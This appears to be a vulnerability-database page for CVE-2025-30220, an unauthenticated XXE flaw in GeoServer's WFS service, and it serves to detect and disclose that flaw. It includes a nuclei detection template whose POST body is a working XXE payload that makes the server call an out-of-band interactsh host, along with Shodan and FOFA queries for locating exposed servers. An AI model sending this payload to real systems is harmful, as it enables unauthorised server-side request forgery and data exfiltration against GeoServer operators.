HexBrain

Browse / CVEs / CVE-2025-30220

CVE-2025-30220· osgeo / geoserver· CWE-611

GeoServer WFS - XXE Processing Vulnerability

criticalseverity
9.9CVSS score
43.6%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

GeoServer Web Feature Service (WFS) is vulnerable to an XML External Entity (XXE) processing attack due to improper handling of XML input. This vulnerability allows attackers to perform Out-of-Band (OOB) data exfiltration and Server-Side Request Forgery (SSRF) by exploiting the GeoTools library.

Impact

Unauthenticated attackers can exploit XXE vulnerabilities in GeoServer WFS to perform OOB data exfiltration and SSRF attacks, potentially accessing internal services and sensitive data.

Fix

Upgrade to the latest GeoServer version that properly disables external entity processing in WFS requests.

How to confirm it

Send: GET {{BaseURL}}/geoserver/wfs?service=WFS&request=GetCapabilities ; GET {{BaseURL}}/geoserver/ows?service=WFS&request=GetCapabilities ; GET {{BaseURL}}/wfs?service=WFS&request=GetCapabilities ; GET {{BaseURL}}/ows?service=WFS&request=GetCapabilities
Positive when: contains(body, "wfs:WFS_Capabilities") and contains(content_type, "application/xml") and status_code == 200
Send: POST {{BaseURL}}/geoserver/wfs?service=WFS ; POST {{BaseURL}}/geoserver/ows?service=WFS ; POST {{BaseURL}}/wfs?service=WFS ; POST {{BaseURL}}/ows?service=WFS
Positive when: contains(interactsh_protocol, "dns") and contains(body, "java.lang.NullPointerException") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-30220 -u <target>

The full check
id: CVE-2025-30220

info:
  name: GeoServer WFS - XXE Processing Vulnerability
  author: iamnoooob,pdresearch,darses
  severity: critical
  description: |
    GeoServer Web Feature Service (WFS) is vulnerable to an XML External Entity (XXE) processing attack due to improper handling of XML input. This vulnerability allows attackers to perform Out-of-Band (OOB) data exfiltration and Server-Side Request Forgery (SSRF) by exploiting the GeoTools library.
  impact: |
    Unauthenticated attackers can exploit XXE vulnerabilities in GeoServer WFS to perform OOB data exfiltration and SSRF attacks, potentially accessing internal services and sensitive data.
  remediation: |
    Upgrade to the latest GeoServer version that properly disables external entity processing in WFS requests.
  reference:
    - https://github.com/geoserver/geoserver/security/advisories/GHSA-jj54-8f66-c5pc
    - https://docs.geoserver.org/latest/en/user/production/config.html#production-config-external-entities
    - https://github.com/geonetwork/core-geonetwork/pull/8757
    - https://github.com/geonetwork/core-geonetwork/pull/8803
    - https://github.com/geonetwork/core-geonetwork/pull/8812
    - https://geoserver.org/vulnerability/2025/06/10/cve-disclosure.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L
    cvss-score: 9.9
    cve-id: CVE-2025-30220
    cwe-id: CWE-611
    epss-score: 0.43616
    epss-percentile: 0.9875
  metadata:
    verified: true
    max-request: 8
    vendor: osgeo
    product: geoserver
    shodan-query:
      - title:"geoserver"
      - 'http.html_hash:1093634893 "Content-Disposition: inline"'
      - http.favicon.hash:97540678
      - html:"/geoserver/"
    fofa-query:
      - title="geoserver"
      - app="geoserver"
      - icon_hash="97540678"
      - body="/geoserver/"
  tags: cve,cve2025,geoserver,xxe,oast,oob,ssrf,unauth,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/geoserver/wfs?service=WFS&request=GetCapabilities"
      - "{{BaseURL}}/geoserver/ows?service=WFS&request=GetCapabilities"
      - "{{BaseURL}}/wfs?service=WFS&request=GetCapabilities"
      - "{{BaseURL}}/ows?service=WFS&request=GetCapabilities"

    stop-at-first-match: true

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "wfs:WFS_Capabilities")'
          - 'contains(content_type, "application/xml")'
          - "status_code == 200"
        condition: and

    extractors:
      - type: xpath
        name: featuretype
        internal: true
        xpath:
          - /wfs:WFS_Capabilities/FeatureTypeList/FeatureType[1]/Name

  - method: POST
    path:
      - "{{BaseURL}}/geoserver/wfs?service=WFS"
      - "{{BaseURL}}/geoserver/ows?service=WFS"
      - "{{BaseURL}}/wfs?service=WFS"
      - "{{BaseURL}}/ows?service=WFS"

    stop-at-first-match: true

    headers:
      Content-Type: "application/xml;charset=UTF-8"

    body: |
      <wfs:GetFeature service="WFS" version="1.0.0"
      xmlns:wfs="http://www.opengis.net/wfs"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="http://a http://{{interactsh-url}}/xxe.xsd">
      <wfs:Query typeName="{{featuretype}}"/>
      </wfs:GetFeature>

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "java.lang.NullPointerException")'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from